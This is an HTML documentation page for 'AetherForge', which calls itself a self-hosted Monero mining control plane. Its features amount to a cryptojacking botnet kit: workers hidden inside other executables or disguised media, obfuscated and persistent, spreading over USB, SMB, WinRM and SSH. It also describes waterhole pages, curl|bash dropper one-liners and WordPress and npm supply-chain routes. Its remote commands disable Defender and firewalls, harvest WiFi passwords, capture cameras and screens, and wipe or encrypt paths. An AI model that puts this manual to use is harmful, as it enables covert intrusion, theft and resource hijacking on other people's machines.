Files
AetherForge/server/web/public/docs/index.html
AetherForge 95f26a8d08
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Update README and documentation for LOTL onion, fleet intelligence, and AI control
2026-06-07 02:47:21 -07:00

1511 lines
101 KiB
HTML
Raw Permalink Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>AetherForge Documentation</title>
<link rel="stylesheet" href="wiki.css" />
</head>
<body>
<div class="wiki-layout">
<aside class="wiki-sidebar">
<div class="wiki-sidebar-header">
<h1>AetherForge</h1>
<p>Field documentation</p>
<a href="/">← Command Deck</a>
</div>
<div class="wiki-search">
<label class="wiki-search-label" for="wiki-search-input">Search</label>
<input
type="search"
id="wiki-search-input"
class="wiki-search-input"
placeholder="Search docs…"
autocomplete="off"
spellcheck="false"
/>
<ul id="wiki-search-results" class="wiki-search-results" hidden></ul>
</div>
<ul class="wiki-nav">
<li><a href="#overview">Overview</a></li>
<li><a href="#quick-start">Getting Started</a></li>
<li><a href="#forge">Forge &amp; Builds</a></li>
<li><a href="#mission-deck">Mission Deck</a></li>
<li><a href="#build-manager">Build Manager</a></li>
<li><a href="#dashboard">Fleet &amp; Crucible</a></li>
<li><a href="#crucible-ops">Crucible Commands</a></li>
<li><a href="#lotl-timeline">LOTL Timeline</a></li>
<li><a href="#fleet-intelligence">Fleet Intelligence</a></li>
<li><a href="#spread-campaigns">Emberwake &amp; Campaigns</a></li>
<li><a href="SPREAD_TECHNIQUES.html">Spread Techniques</a></li>
<li><a href="#wordpress-plugin-supply-chain">WordPress plugin</a></li>
<li><a href="#npm-postinstall-helper">npm postinstall</a></li>
<li><a href="#calibrate">Calibrate</a></li>
<li><a href="#path-tracer">Path Tracer</a></li>
<li><a href="#agent">Agent Reference</a></li>
<li><a href="#mining">Mining</a></li>
<li><a href="#av-safe">AV-Safe Mining</a></li>
<li><a href="#container-mining">Container Mining</a></li>
<li><a href="#platform-matrix">Platform Matrix</a></li>
<li><a href="#alerts-ai">Alerts &amp; AI</a></li>
<li><a href="#security-auth">Security</a></li>
<li><a href="#usb-portable">USB Portable</a></li>
<li><a href="#api-reference">API</a></li>
<li><a href="#troubleshooting">Troubleshooting</a></li>
<li><a href="#problems">Known Limits</a></li>
</ul>
</aside>
<main class="wiki-content">
<!-- 1. Overview -->
<section id="overview">
<h2>Overview — What is AetherForge?</h2>
<p>
AetherForge is a <strong>self-hosted mining control plane</strong> for machines you own or administer.
One control PC runs the Go server on port <code>8989</code>; a React command deck shows live fleet stats;
cross-platform worker agents mine Monero (CPU) and optionally Ravencoin (GPU), phone home over WebSocket,
and accept remote commands from the Crucible terminal.
</p>
<p>
Unlike cloud pool dashboards, you bake configuration at forge time — wallet, pool, server URL, stealth,
persistence, USB spread, fusion packaging — then distribute a single binary or ZIP. The server proxies
Stratum to your pool, stores fleet state in SQLite, and gates access with HTTP Basic auth plus a per-fleet
secret baked into every agent.
</p>
<p>
The workflow is: <strong>Calibrate</strong><strong>Forge</strong> → deploy once per
worker → monitor on <strong>Command Deck</strong> and <strong>Fleet Roster</strong>. Optional layers include
prep/movie fusion, USB perpetual propagation, LAN lateral spread, Emberwake campaign links, and Path Tracer
WireGuard multi-hop routing.
</p>
<h3>Architecture layers</h3>
<table class="wiki-table">
<thead><tr><th>Layer</th><th>Role</th></tr></thead>
<tbody>
<tr><td>Control server</td><td>Go backend — REST API, WebSocket hub, SQLite DB, Stratum proxy</td></tr>
<tr><td>Command deck</td><td>React/Vite SPA — login gate, fleet map, forge, Crucible, calibrate</td></tr>
<tr><td>Worker agent</td><td>Windows / Linux / macOS / Android APK — RandomX + optional KawPoW, telemetry, spread</td></tr>
<tr><td>Fusion</td><td>Prep or movie bundler — hides worker inside your exe or encrypted media package</td></tr>
<tr><td>Forge pipeline</td><td>Compile-time config — threads, stealth, firewall, USB/LAN spread flags</td></tr>
</tbody>
</table>
<h3>Key paths</h3>
<ul>
<li>Server config: <code>data/config.json</code></li>
<li>Fleet database: <code>data/miner.db</code></li>
<li>User credentials: <code>data/users.json</code> (bcrypt); first-run passwords in <code>data/login-credentials.json</code></li>
<li>Forged builds archive: <code>data/builds/{build-id}/</code></li>
<li>Dashboard build (served): <code>server/webroot/</code></li>
<li>Agent source: <code>agent/</code></li>
</ul>
<div class="wiki-screenshot">[Screenshot: Command Deck overview with fleet health score]</div>
</section>
<!-- 2. Quick Start -->
<section id="quick-start">
<h2>Quick Start</h2>
<p>
The fastest path on a Windows control PC is <code>devrun.bat</code> at the repo root. It installs Go and Node
if missing, builds the React dashboard, compiles <code>bin\miner-server.exe</code>, copies
<code>server\web\dist</code><code>server\webroot</code>, and starts the server. The browser opens
<code>http://localhost:8989</code>.
</p>
<p>
First run creates <strong>admin</strong> and <strong>comrade</strong> accounts with random passwords printed
in the console and saved to <code>data/login-credentials.json</code>. Sign in, open <strong>Calibrate</strong>,
set wallet + pool + public URL, then <strong>Forge</strong> a worker pointing at your LAN IP or tunnel URL.
</p>
<h3>devrun.bat (development)</h3>
<pre><code>devrun.bat
# → http://localhost:8989
# Console shows first-run passwords</code></pre>
<h3>Manual build</h3>
<pre><code>cd server\web
npm install
npm run build
cd ..\..
xcopy /E /I /Y server\web\dist\* server\webroot\
cd server
go build -ldflags="-s -w" -o ..\bin\miner-server.exe .
cd ..
bin\miner-server.exe -port 8989 -data .\data</code></pre>
<h3>Docker (Tier 2 CI / Linux agent)</h3>
<p>
For isolated server + Linux agent regression without a Windows VM, use the Docker compose stack. Server
listens on host port <strong>18989</strong>; credentials are <code>testuser</code> / <code>testpass</code>
(see <code>docker/data/users.json</code>).
</p>
<pre><code>docker compose -f docker/docker-compose.yml up --build
# Dashboard: http://localhost:18989
# Teardown: docker compose -f docker/docker-compose.yml down --rmi local -v</code></pre>
<p>Full notes: <code>docker/README.md</code>. Agent container has no internet egress — mines via server-broadcast jobs only.</p>
<h3>Portable USB deck</h3>
<p>
Run <code>pack-usb.bat</code> to build <code>usb\AetherForge.exe</code> with bundled webroot, agent source,
and Go toolchain. Copy <code>usb\</code> to a USB drive; double-click <code>LAUNCH.bat</code> on any Windows PC.
See the <a href="#usb-portable">USB Portable Deck</a> section for details.
</p>
<h3>Network URL in Forge</h3>
<table class="wiki-table">
<thead><tr><th>Scenario</th><th>Server URL</th></tr></thead>
<tbody>
<tr><td>Same LAN</td><td><code>http://192.168.x.x:8989</code></td></tr>
<tr><td>Cloudflare / reverse tunnel</td><td><code>https://your-domain.com</code></td></tr>
</tbody>
</table>
<p>Workers auto-convert <code>http(s)://</code><code>ws(s)://…/ws/agent</code>. Only outbound access from workers is required.</p>
</section>
<!-- 3. Command Deck -->
<section id="dashboard">
<h2>Command Deck</h2>
<p>
The React command deck is the operator-facing UI. After login, the main routes cover fleet overview,
agent roster, forge builder, build manager, Crucible remote terminal, Emberwake campaigns, Path Tracer,
and Calibrate settings. Advanced mode unlocks matrix rain overlay, AI activity panel, and extra forge options.
</p>
<p>
Live data flows over <code>/ws/dashboard</code> using a one-time ticket from
<code>POST /api/v1/auth/ws-ticket</code>. Fleet health score (0100) weights online percentage, accept rate,
pool status, and hashrate. The 3D topology map (React Three Fiber) orbits agents around the server node.
</p>
<h3>Command Deck (home)</h3>
<ul>
<li>Fleet hashrate gauges, CPU/RAM, share feed, XMR price (CoinGecko, 10 min cache)</li>
<li>Contribution map with USD/day estimates; underperformer list (&lt;70% median)</li>
<li>OS/arch breakdown, LAN group view by /24 subnet</li>
<li>Monero and Ravencoin sections (separate CPU vs GPU stats)</li>
<li>Install funnel — agents per build over 7 days, USB-spread flag</li>
<li>Operator audit strip — last forge, commands, config saves</li>
</ul>
<div class="wiki-screenshot">[Screenshot: Command Deck fleet health + contribution map]</div>
<h3>Command deck route guide</h3>
<table class="wiki-table">
<thead><tr><th>Route</th><th>Nav label</th><th>Primary use</th></tr></thead>
<tbody>
<tr><td><code>/dashboard</code></td><td>Command Deck</td><td>Fleet health, hashrate, topology map, install funnel, audit strip</td></tr>
<tr><td><code>/agents</code></td><td>Fleet Roster</td><td>Per-machine detail, remote actions, groups, protocol tunnels</td></tr>
<tr><td><code>/crucible</code></td><td>Crucible</td><td>Batch terminal, Access Depth, heat map, Probe &amp; Join, spread graphs</td></tr>
<tr><td><code>/lotl-timeline</code></td><td>Onion</td><td>Live 14-tier LOTL progression, AI decisions, court sessions (<code>/onion</code> redirects)</td></tr>
<tr><td><code>/forge</code></td><td>Forge</td><td>Full builder — preflight, fusion, blueprints, operation modes</td></tr>
<tr><td><code>/mission-deck</code></td><td>Mission Deck</td><td>Fast path — preset loadout → one-click forge + export + clipboard links</td></tr>
<tr><td><code>/builds</code></td><td>Builds</td><td>Download, pin, public toggle, dropper one-liners, re-forge</td></tr>
<tr><td><code>/emberwake</code></td><td>Emberwake</td><td>Campaign War Room, spread-kit export, supply-chain wizards</td></tr>
<tr><td><code>/settings</code></td><td>Calibrate</td><td>Pool, alerts, users, fleet policy, staged modules, tunnels</td></tr>
<tr><td><code>/pathtracer</code></td><td>Path Tracer</td><td>Multi-hop WireGuard chain builder + QR config</td></tr>
<tr><td><code>/docs/</code></td><td>Field docs</td><td>This wiki — searchable; HelpTips link here</td></tr>
<tr><td><code>/spread/</code></td><td>Static spread kit</td><td>Public waterhole landing (no login) — see <a href="/spread/">/spread/</a></td></tr>
</tbody>
</table>
<p><code>/builder</code> and <code>/spread</code> redirect to <code>/forge</code> and <code>/emberwake</code>.</p>
<h3>How to read the Command Deck</h3>
<p>
The top row is your fast triage layer. <strong>Fleet Hash</strong> is the 15-minute rolling aggregate,
<strong>Est. Daily</strong> combines the live hashrate estimate with the current XMR price cache,
<strong>Accept</strong> highlights share quality, and <strong>Nodes Live</strong> tells you immediately
whether a bad pool day is really a connectivity day.
</p>
<p>
Below that, <strong>Fleet Health</strong> is the composite score to trust when the page is busy. It blends
online percentage, accept rate, pool state, and current fleet behavior into one number, then colors the card
green / amber / red. Treat it as the dashboard's summary judgment, then use the supporting panels to see why
the score moved.
</p>
<h3>Overview vs Advanced mode</h3>
<table class="wiki-table">
<thead><tr><th>Mode</th><th>Purpose</th><th>Extra panels</th></tr></thead>
<tbody>
<tr><td>Overview</td><td>Fast status scan</td><td>Core health, key metrics, roster, topology, share pulse</td></tr>
<tr><td>Advanced</td><td>Deep operator session</td><td>AI activity, share log, matrix overlay, full chart stack</td></tr>
</tbody>
</table>
<p>
Advanced mode is persisted in browser storage. It is intended for an operator who is staying in the deck for
a while, not for a quick hallway check. When chart noise gets in the way, switch back to Overview.
</p>
<h3>Fleet Roster (Agents)</h3>
<ul>
<li>Compact rows — click to expand inline details and remote action strip</li>
<li><strong>Fleet Groups</strong> — multi-select, named colour-coded groups; selectable in Crucible</li>
<li>Remote control: pause/resume/restart miner, sysinfo, screenshot, live view, camera, file browser (Windows)</li>
<li>Power: reboot, shutdown, Wake-on-LAN (UDP magic packet to stored MAC)</li>
<li>Live stats ticker every 5s while agent online; offline banner disables controls</li>
</ul>
<h3>Crucible (Command Terminal)</h3>
<p>
Route <code>/crucible</code> — select one or many agents (or a Fleet Group). Send raw commands, PowerShell,
or preset tactical ops; output streams to the terminal in real time. Gold rain overlay activates when a single
agent is selected. Tabs: <strong>Ops</strong>, <strong>Recon</strong>, <strong>Files</strong> (File Manager),
<strong>Spread</strong>, <strong>Tunnels</strong>. Full command reference:
<a href="#crucible-ops">Crucible Commands</a>. <code>/agents</code> redirects here.
</p>
<ul>
<li><strong>Heat map</strong> — sidebar colors nodes by hashrate; spike flash on H/s jumps; toggle topo view for subnet clusters</li>
<li><strong>Access Depth</strong> — single-node panel: spread + mining onion, <code>lotl_attempts</code>, adaptive Strategy reasoning, phenotype clone badge, clearance L0L4, <code>join_lane</code>, atlas skips</li>
<li><strong>Probe &amp; Join</strong><code>discover_and_join</code>: service discovery → signed deploy plan → best LOTL lane</li>
<li><strong>Spread tab</strong> — credential graph (<code>cred_edges</code>), service graph summary, spread template export (WinRM, Linux LOTL, GPO, Intune)</li>
</ul>
<p>
<strong>File Manager</strong> (single online node): <code>list_dir</code>, <code>read_file</code> (512 KB cap),
upload, download, path breadcrumbs — cross-platform. Requires online WebSocket (not beacon-only).
</p>
<h3 id="lotl-timeline">LOTL Timeline (Onion)</h3>
<p>
Route <code>/lotl-timeline</code> (nav label <strong>Onion</strong>; legacy <code>/onion</code> redirects).
Per-agent live view of the 14-tier spread chain, mining execution tiers, fleet progress bars, AI decision
history (when AI Control enabled), Singular Machine Court sessions, clearance elevation log, and phenotype
&quot;cloned from&quot; badges. Links back to Crucible Access Depth for the selected node.
</p>
<p>
Full tier glossary: <a href="SPREAD_TECHNIQUES.html#lotl-onion">Spread Techniques → LOTL Onion</a> ·
repo <code>tests/README.md</code> § LOTL vector glossary.
</p>
<h3 id="fleet-intelligence">Fleet intelligence</h3>
<p>
Server-side learning for <strong>your fleet only</strong> — not third-party telemetry.
</p>
<table class="wiki-table">
<thead><tr><th>Feature</th><th>What it does</th></tr></thead>
<tbody>
<tr><td>Adaptive strategy</td><td>Personalized mining <code>tier_order</code> + <code>strategy_reasoning[]</code> from OS/Docker/WSL probes and outcomes; Calibrate <code>adaptive_strategy_enabled</code> (default on); <code>POST /api/v1/strategy/recompute</code></td></tr>
<tr><td>Phenotype cloning</td><td>Winning spread+mining path published by fingerprint; siblings inherit on auth without re-forge</td></tr>
<tr><td>Failure atlas</td><td>After repeated failures under a condition, hard-skips subtree tiers; merged into adaptive skips</td></tr>
<tr><td>Singular Machine Court</td><td>When AI Control on + host stuck: prosecutor/defender/judge LLM session → commands</td></tr>
<tr><td>Clearance L0L4</td><td>Session gating for remote actions; optional auto-elevate to L4 when stuck</td></tr>
</tbody>
</table>
<p><strong>Precedence:</strong> phenotype inherit &gt; Fleet AI Control (when on) &gt; adaptive strategy &gt; Calibrate defaults. <code>patch_first</code> and risk gates always apply.</p>
<h3>Emberwake</h3>
<p>
Dashboard tab at <code>/emberwake</code> — campaign link builder, A/B <code>?pin=</code> rotation,
spread-kit export, shared operator notes (WebSocket sync). Copies one-liners for
<code>curl|bash</code>, <code>irm|iex</code>, and public download URLs with <code>?c=</code> campaign tags.
</p>
<p>
<strong>War Room</strong> — funnel, table, and constellation views with hashrate heat normalization.
Live agent rows show <code>join_lane</code> badges (last successful Probe &amp; Join lane:
<code>do_peer</code>, <code>dns_txt</code>, <code>winrm</code>, etc.).
</p>
<h3>Path Tracer</h3>
<p>
Multi-hop WireGuard path builder. Hop 1 gets client peer <code>10.66.0.1/32</code>; multi-hop adds reverse
peers on middle/exit hops. Sessions auto-expire after 2 hours with <code>wg_teardown</code>. Windows agents
may auto-download WireGuard on first use if not pre-installed.
</p>
<h3>Calibrate</h3>
<ul>
<li>Wallet, pool, public URL, users, fleet secret rotation</li>
<li>Telegram + SMTP alert notifications and thresholds</li>
<li>Fleet task scheduler — on_connect, interval, cron</li>
<li>Cloudflare tunnel token, tunnel defaults</li>
<li><code>public_builds_enabled</code> — expose all builds on unauthenticated public API</li>
</ul>
<h3>Command Deck operating rhythm</h3>
<ol>
<li>Open <strong>Command Deck</strong> first and check Fleet Health, Nodes Live, and Accept.</li>
<li>If health is amber/red, inspect pool status and the underperformer list before touching config.</li>
<li>Open <strong>Agents</strong> only after the dashboard tells you which machines need attention.</li>
<li>Use <strong>Builds</strong> to verify what is currently pinned before forging anything new.</li>
<li>Use <strong>Calibrate</strong> for durable defaults; use Forge only for build-specific overrides.</li>
</ol>
</section>
<!-- 3b. Crucible Commands -->
<section id="crucible-ops">
<h2>Crucible Commands — Agent Reference</h2>
<p>
All commands dispatch via <code>POST /api/v1/agents/{id}/command</code> or
<code>POST /api/v1/agents/bulk-command</code>. Aggressive ops require
<code>remote_aggressive</code> baked or staged at runtime. Capabilities gate UI buttons — re-forge or push
<strong>Crucible Ops</strong> module pack if disabled.
</p>
<h3>Mining &amp; lifecycle</h3>
<table class="wiki-table">
<thead><tr><th>Command</th><th>Purpose</th><th>Platforms</th><th>Status</th></tr></thead>
<tbody>
<tr><td><code>pause</code> / <code>resume</code> / <code>restart</code></td><td>Miner control</td><td>All</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>stop</code> / <code>kill</code></td><td>Terminate agent process</td><td>All</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>uninstall</code></td><td>Remove persistence + binary</td><td>All</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>upgrade</code></td><td>Download + replace from build URL</td><td>All</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>fetch_module</code></td><td>Stage signed runtime pack</td><td>All</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>bof_execute</code></td><td>In-memory BOF</td><td></td><td><span class="wiki-status disabled">Disabled</span> — always errors</td></tr>
</tbody>
</table>
<h3>System &amp; power</h3>
<table class="wiki-table">
<thead><tr><th>Command</th><th>Purpose</th><th>Platforms</th><th>Status</th></tr></thead>
<tbody>
<tr><td><code>reboot_machine</code> / <code>shutdown_machine</code></td><td>Power control</td><td>All</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>reboot</code> / <code>shutdown</code></td><td>Legacy aliases</td><td>All</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td>Wake-on-LAN</td><td><code>POST /api/v1/agents/{id}/wol</code> — UDP magic packet</td><td>Server → agent MAC</td><td><span class="wiki-status working">Working</span> (offline OK)</td></tr>
<tr><td><code>exec</code> / <code>powershell</code></td><td>Shell (hidden window)</td><td>Win / Unix sh</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>get_log</code></td><td>Tail agent log</td><td>All</td><td><span class="wiki-status working">Working</span></td></tr>
</tbody>
</table>
<h3>Recon &amp; posture</h3>
<table class="wiki-table">
<thead><tr><th>Command</th><th>Purpose</th><th>Status</th></tr></thead>
<tbody>
<tr><td><code>sysinfo</code></td><td>Hostname, OS, CPU, RAM, uptime</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>full_sys_check</code></td><td>AV, firewall, disk, DNS, ports, CISA KEV exposure</td><td><span class="wiki-status working">Working</span> — KEV block Windows-focused</td></tr>
<tr><td><code>ps</code> / <code>netstat</code> / <code>users</code> / <code>software</code></td><td>Process / network / user inventory</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>listen_ports</code> / <code>patch_status</code></td><td>Open ports + patch level</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>posture</code></td><td>Firewall + AV summary</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>connectivity_probe</code></td><td>DNS + TCP to C2 and pool</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>arp_neighbors</code></td><td>ARP cache IPs (spread targeting)</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>persistence_audit</code></td><td>Run keys / tasks / systemd / launchd JSON</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>screenshot</code></td><td>Desktop JPEG (live view polls 3s)</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>camera_list</code> / <code>camera_snapshot</code></td><td>USB camera capture</td><td><span class="wiki-status partial">Partial</span> — macOS stub; needs ffmpeg</td></tr>
<tr><td><code>ipconfig</code> / <code>wifi</code> / <code>clipboard</code></td><td>Network / WiFi / clipboard</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>kill_process</code></td><td>Kill PID (<code>command</code> field)</td><td><span class="wiki-status working">Working</span></td></tr>
</tbody>
</table>
<h3>Files</h3>
<table class="wiki-table">
<thead><tr><th>Command</th><th>Purpose</th><th>Guards</th></tr></thead>
<tbody>
<tr><td><code>list_dir</code> / <code>read_file</code></td><td>Remote browse + read (512 KB cap)</td><td>System-root guards</td></tr>
<tr><td><code>upload</code> / <code>download</code></td><td>Transfer files</td><td>Auth via dashboard</td></tr>
<tr><td><code>push_desktop</code></td><td>Deploy to <code>@desktop/</code></td><td></td></tr>
<tr><td><code>delete_path</code> / <code>move_path</code></td><td>File ops</td><td>No dirs / system roots</td></tr>
<tr><td><code>secure_wipe</code></td><td>Overwrite-then-delete folder</td><td>Confirm in UI; aggressive</td></tr>
</tbody>
</table>
<h3>Network, spread &amp; tunnels</h3>
<table class="wiki-table">
<thead><tr><th>Command</th><th>Purpose</th><th>Status</th></tr></thead>
<tbody>
<tr><td><code>spread_now</code></td><td>Trigger LAN spread sweep</td><td><span class="wiki-status windows">Windows/Linux</span> — SMB WinRM / SSH</td></tr>
<tr><td><code>spread_status</code></td><td>Last sweep in-memory JSON</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>subnet_scan</code></td><td>Active subnet discovery</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>smb_shares</code></td><td>ARP/subnet → <code>net view</code> JSON</td><td><span class="wiki-status windows">Windows-only</span></td></tr>
<tr><td><code>hole_punch*</code></td><td>UPnP IGD port map</td><td><span class="wiki-status working">Working</span> — needs <code>hole_punch</code> forge flag</td></tr>
<tr><td><code>tunnel_cloudflared</code></td><td>Outbound Cloudflare tunnel</td><td><span class="wiki-status windows">Windows agent</span> — server launcher Win-only</td></tr>
<tr><td><code>tunnel_ssh_forward</code></td><td>SSH local forward matrix</td><td><span class="wiki-status windows">Windows</span></td></tr>
<tr><td><code>tunnel_wireguard</code> / <code>wg_*</code></td><td>WireGuard setup (Path Tracer)</td><td><span class="wiki-status windows">Windows</span> — Linux/macOS agent stub</td></tr>
<tr><td><code>tunnel_status</code> / <code>tunnel_stop</code></td><td>Query / stop tunnels</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>tunnel_stream</code></td><td>TCP reverse relay over WS</td><td><span class="wiki-status disabled">Not implemented</span></td></tr>
<tr><td><code>mesh_status</code></td><td>P2P peer count</td><td><span class="wiki-status partial">Stub</span> without <code>-tags p2p</code></td></tr>
</tbody>
</table>
<h3>Firewall, persistence &amp; registry (aggressive)</h3>
<table class="wiki-table">
<thead><tr><th>Command</th><th>Notes</th><th>Status</th></tr></thead>
<tbody>
<tr><td><code>firewall_punch</code> / <code>firewall_off</code> / <code>firewall_on</code></td><td>netsh / ufw / iptables</td><td><span class="wiki-status working">Working</span> — macOS firewall stub</td></tr>
<tr><td><code>firewall_profiles</code> / <code>firewall_remove</code></td><td>Profile toggles + rule cleanup</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>defender_off</code></td><td>Windows Defender disable attempt</td><td><span class="wiki-status windows">Windows-only</span></td></tr>
<tr><td><code>bits_persist</code> / <code>host_binary_persist</code></td><td>BITS job / host-binary hijack</td><td><span class="wiki-status windows">Windows-only</span></td></tr>
<tr><td><code>registry_read</code> / <code>write</code> / <code>delete</code></td><td>Allowlisted hives</td><td><span class="wiki-status windows">Windows-only</span></td></tr>
<tr><td><code>credential_vault_list</code></td><td>Credential Manager / Keychain / secret-tool names</td><td><span class="wiki-status working">Working</span> — names only</td></tr>
<tr><td><code>get_wifi_passwords</code></td><td>Saved WiFi profiles</td><td><span class="wiki-status windows">Windows-focused</span></td></tr>
<tr><td><code>encrypt_path</code> / <code>sys_crypt</code></td><td>Path encryption ops</td><td><span class="wiki-status working">Working</span> — confirm in UI</td></tr>
</tbody>
</table>
</section>
<!-- 4. Forge -->
<section id="forge">
<h2>Forge / Builder</h2>
<p>
Forge compiles per-target worker binaries via <code>POST /api/v1/builder/build</code>. Preflight
checks wallet, server URL, pool, fusion payload, and AI settings before compile. Blueprints save/load
profiles for re-forge across machines (confirmation required before re-running a saved blueprint).
</p>
<p>
Outputs include single-platform exe, <strong>Spread Kit</strong> ZIP, <strong>Universal</strong> ZIP (all
platforms), prep fusion, and movie fusion packages. Build manager lists downloads, LAN QR codes, pin/public
flags, and dropper URLs.
</p>
<h3>Target profiles</h3>
<table class="wiki-table">
<thead><tr><th>Profile</th><th>Output</th></tr></thead>
<tbody>
<tr><td>Windows / Linux / macOS</td><td>Single <code>.exe</code> or binary for one OS/arch</td></tr>
<tr><td>Universal</td><td>ZIP with all platform workers + <code>Deploy.bat</code> / <code>deploy.sh</code> / <code>Start.command</code></td></tr>
<tr><td>Spread Kit</td><td>Non-fusion ZIP with silent <code>--spread-install</code> launchers</td></tr>
<tr><td>Prep fusion</td><td>Worker hidden inside your uploaded <code>prep.exe</code></td></tr>
<tr><td>Movie fusion</td><td>Encrypted media + disguised runner (embedded or paired mode)</td></tr>
</tbody>
</table>
<h3>Builder workflow from blank form to archived artifact</h3>
<ol>
<li><strong>Choose the target profile.</strong> Start with one OS/arch unless you specifically need a multi-platform ZIP.</li>
<li><strong>Set the runtime identity.</strong> Worker name, server URL, and output directory are the fields that shape how the build is tracked later.</li>
<li><strong>Review defaults from Calibrate.</strong> The builder inherits server-side defaults; only override fields that truly differ for this build.</li>
<li><strong>Run preflight mentally before compile.</strong> Confirm output path, signing configuration, and any packaging choices.</li>
<li><strong>Compile once, then archive the result.</strong> Every successful build is copied into <code>data/builds/{build-id}/</code> so the Build Manager becomes the source of truth.</li>
</ol>
<h3>Builder field families</h3>
<table class="wiki-table">
<thead><tr><th>Family</th><th>What it controls</th><th>Where it shows up later</th></tr></thead>
<tbody>
<tr><td>Identity</td><td>Worker name, build naming, archive labels</td><td>Build Manager, agent cards, audit log, install funnel</td></tr>
<tr><td>Target</td><td>OS, architecture, output type</td><td>Artifact file names, launcher scripts, compatibility checks</td></tr>
<tr><td>Connectivity</td><td>Server URL and fallback URLs</td><td>Install instructions, QR codes, download links, runtime connection path</td></tr>
<tr><td>Packaging</td><td>Universal ZIP, spread-kit export, fusion packaging</td><td>Artifact archive, download endpoints, size estimates</td></tr>
<tr><td>Signing</td><td>Thumbprint, timestamp URL, signing tool path</td><td>Post-build artifact treatment and estimate notes</td></tr>
<tr><td>Blueprints</td><td>Saved form presets</td><td>Re-forge flow, repeatable operator workflows</td></tr>
</tbody>
</table>
<h3>Blueprint discipline</h3>
<p>
Blueprints are most useful when you treat them like named operating recipes, not casual snapshots. Good
examples are per-campus defaults, per-lab output conventions, or per-platform release templates. The reason
the UI asks for confirmation before re-forge is that a saved blueprint often represents a real rollout shape,
not just a draft.
</p>
<h3>Build Manager relationship</h3>
<p>
The Builder creates artifacts. The Build Manager is where those artifacts become operational inventory.
After compile, use the Build Manager to confirm the build is present, decide whether it should be pinned for
install helpers, and verify the archive contains the expected download set. If the Builder is your workshop,
Build Manager is your release shelf.
</p>
<h3>Safe operator checklist before pressing build</h3>
<ul>
<li>Use a reachable <code>server_url</code>; prefer the actual LAN or public endpoint instead of localhost.</li>
<li>Keep output names predictable so archived builds are readable weeks later.</li>
<li>Use single-platform builds for quick iteration; use universal output only when distribution really needs it.</li>
<li>Confirm signing inputs before compile if the environment expects signed artifacts.</li>
<li>After compile, verify the artifact in Build Manager instead of trusting only the toast or progress state.</li>
</ul>
<h3>Forge simple mode — spread profile chips</h3>
<ul>
<li><strong>Web Drop</strong> — dropper landing + install scripts</li>
<li><strong>Desktop Fusion</strong> — prep or movie bundle</li>
<li><strong>LAN Kindling</strong> — SMB / SSH lateral spread flags</li>
<li><strong>Crucible Ops</strong> — remote aggressive ops enabled</li>
</ul>
<h3 id="forge-stealth">Key forge settings — stealth &amp; persistence</h3>
<ul>
<li>Thread mode, idle/scheduled mining, install path, stealth, self-healing watchdog</li>
<li>USB Propagation, Share Spread, LAN Auto-Spread</li>
<li>Backup pools and backup server URLs (advanced)</li>
<li>Garble obfuscation, Sigil scramble, Authenticode / osslsigncode signing</li>
<li>Connection profile — beacon interval, jitter, kill-after-days, HTTPS beacon fallback</li>
<li>Build size limits enforced via <code>checkBuildSizeFile</code> on universal/spread-kit/fusion ZIPs</li>
</ul>
<h3>Output locations</h3>
<table class="wiki-table">
<thead><tr><th>Artifact</th><th>Path</th></tr></thead>
<tbody>
<tr><td>Forged agent exe</td><td>Project root (e.g. <code>install-worker.exe</code>)</td></tr>
<tr><td>Movie fusion per title</td><td><code>fusion-deliverables/&lt;Title&gt;/</code></td></tr>
<tr><td>Archive copy</td><td><code>data\builds\{build-id}\</code></td></tr>
<tr><td>Uninstall script</td><td>Same build folder + download API</td></tr>
</tbody>
</table>
<h3>Cancel in-flight compile</h3>
<pre><code>DELETE /api/v1/builder/cancel/{token}</code></pre>
<h3>Operation modes (Forge skins)</h3>
<p>Forge and Mission Deck share six baked presets — each sets stealth, spread, fusion, and garble flags:</p>
<table class="wiki-table">
<thead><tr><th>Mode</th><th>Intent</th><th>Status</th></tr></thead>
<tbody>
<tr><td>Ghost Walk</td><td>Stealth, garble, no spread — quiet LAN worker</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td>Open Flame</td><td>Visible console + file logs — lab debugging</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td>Sigil Mask</td><td>Prep fusion + garble + sigil scramble</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td>Hearth Whisper</td><td>Idle mining, persistence, no aggressive ops</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td>Wildfire</td><td>USB + LAN spread + remote aggressive</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td>Crucible Storm</td><td>Remote aggressive + mesh + hole punch</td><td><span class="wiki-status partial">Partial</span> — mesh needs <code>-tags p2p</code> re-forge</td></tr>
</tbody>
</table>
<h3>Path Forge</h3>
<p>
<code>POST /api/v1/builder/path-forge</code> walks a server-side directory and drops OS launchers next to every
file (hint file excluded from placement count). Mac targets require <code>server_url</code> at forge time.
Output uses <code>/api/download/agent-*</code> at runtime. <strong>Working</strong> on Windows server; validate
paths before batch runs.
</p>
</section>
